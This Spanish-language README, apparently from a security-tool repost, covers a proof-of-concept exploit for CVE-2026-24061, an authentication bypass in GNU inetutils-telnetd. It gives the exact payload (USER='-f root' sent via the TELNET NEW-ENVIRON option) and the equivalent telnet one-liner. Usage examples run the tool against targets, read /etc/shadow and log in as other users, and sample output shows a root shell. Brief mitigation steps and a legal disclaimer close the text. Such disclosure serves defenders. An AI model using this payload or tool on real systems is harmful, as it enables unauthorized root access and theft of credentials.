CVE-2026-24061 — Omisión de Autenticación en inetutils-telnetd

Un exploit de prueba de concepto para la vulnerabilidad de omisión de autenticación en GNU inetutils-telnetd.

Descripción General

CVE-2026-24061 es una vulnerabilidad crítica de omisión de autenticación que afecta a las versiones 1.9.3 a 2.7 de inetutils-telnetd. Permite que un atacante remoto obtenga una shell de root en sistemas vulnerables sin proporcionar ninguna credencial.

Detalles de la Vulnerabilidad

Cómo Funciona

La vulnerabilidad explota una falla en la forma en que telnetd maneja la variable de entorno USER recibida a través de la opción TELNET NEW-ENVIRON (RFC 1572) durante la negociación del protocolo.

1. Negociación del Protocolo TELNET: Cuando un cliente se conecta, el servidor y el cliente negocian capacidades, incluida la opción NEW-ENVIRON, que permite al cliente enviar variables de entorno.

2. Valor USER Malicioso: El exploit envía USER=-f root como variable de entorno durante esta fase de negociación.

3. Paso Inseguro de Argumentos: El telnetd vulnerable pasa este valor sin sanitizar al programa login.

4. Inyección de Comandos: El programa login interpreta -f root como banderas de línea de comandos:

   • -f = "forzar inicio de sesión sin autenticación"
   • root = el nombre de usuario con el que iniciar sesión

5. Acceso Root: El atacante obtiene una shell de root sin que se le solicite una contraseña.

El Problema Principal

Cliente envía:  USER = "-f root"
telnetd ejecuta:  login -f root
Resultado:        Shell de root otorgada sin autenticación

Esto equivale a ejecutar USER='-f root' telnet -a localhost en un sistema con un telnetd vulnerable.

Requisitos

• Python 3.6+
• Sin dependencias externas (solo usa la biblioteca estándar)

Instalación

git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py

Uso

./exploit.py [OPCIONES] <objetivo>

Opciones

Ejemplos

Shell de root interactiva en localhost:

./exploit.py localhost

Shell de root interactiva en host remoto:

./exploit.py 192.168.1.100

Ejecutar un solo comando y salir:

./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local

Iniciar sesión como un usuario diferente:

./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server

Puerto no estándar:

./exploit.py -p 2323 localhost

Combinar opciones:

./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100

Modo Interactivo

Cuando se ejecuta sin la bandera -c, el exploit te lleva a una shell interactiva:

• Soporte completo de TTY con manejo adecuado de terminal
• Presiona Ctrl+] para escapar y cerrar la conexión
• Presiona Ctrl+C para interrumpir

Ejemplo de Salida

╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-24061 - Omisión de Autenticación en inetutils-telnetd ║
║  Afecta: inetutils-telnetd 1.9.3 - 2.7                      ║
╚══════════════════════════════════════════════════════════════╝

[*] Conectado a 192.168.1.100:23
[*] Negociando opciones TELNET...
[*] Acordado NEW-ENVIRON (enviando USER='-f root')
[+] Enviado USER='-f root' vía NEW-ENVIRON

Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux

root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~# 

Mitigación

Acciones Inmediatas

1. Deshabilitar telnetd: Si no es estrictamente necesario, deshabilita el servicio telnet por completo

   root@kitploit:~

   sudo systemctl stop inetutils-telnetd
   sudo systemctl disable inetutils-telnetd
   

2. Usar SSH en su lugar: Reemplaza telnet con SSH para acceso remoto

   root@kitploit:~

   sudo apt install openssh-server
   

3. Reglas de firewall: Bloquea el puerto 23 de redes no confiables

   root@kitploit:~

   sudo ufw deny 23/tcp
   

Solución a Largo Plazo

• Actualiza a una versión parcheada de inetutils cuando esté disponible
• Monitorea los avisos del proveedor para parches de seguridad

Detalles Técnicos

El exploit implementa un cliente TELNET mínimo que:

1. Establece una conexión TCP con el objetivo
2. Responde a las negociaciones de opciones TELNET (DO/DONT/WILL/WONT)
3. Cuando el servidor solicita variables de entorno vía NEW-ENVIRON:
   • Envía USER=-f root en la respuesta ENV_IS
4. Maneja las negociaciones de tipo de terminal (TTYPE) y tamaño de ventana (NAWS)
5. Proporciona modos interactivo o de ejecución de comandos

RFC Relevantes

• RFC 854 — Especificación del Protocolo TELNET
• RFC 1572 — Opción de Entorno TELNET

Aviso Legal

Esta herramienta se proporciona solo con fines educativos y de pruebas de seguridad autorizadas.

• Usa este exploit únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para probar
• El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones
• Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta

Licencia

Licencia MIT — Consulta LICENSE para más detalles.

Referencias

• Detalles de CVE-2026-24061
• GNU inetutils
• Protocolo TELNET RFC 854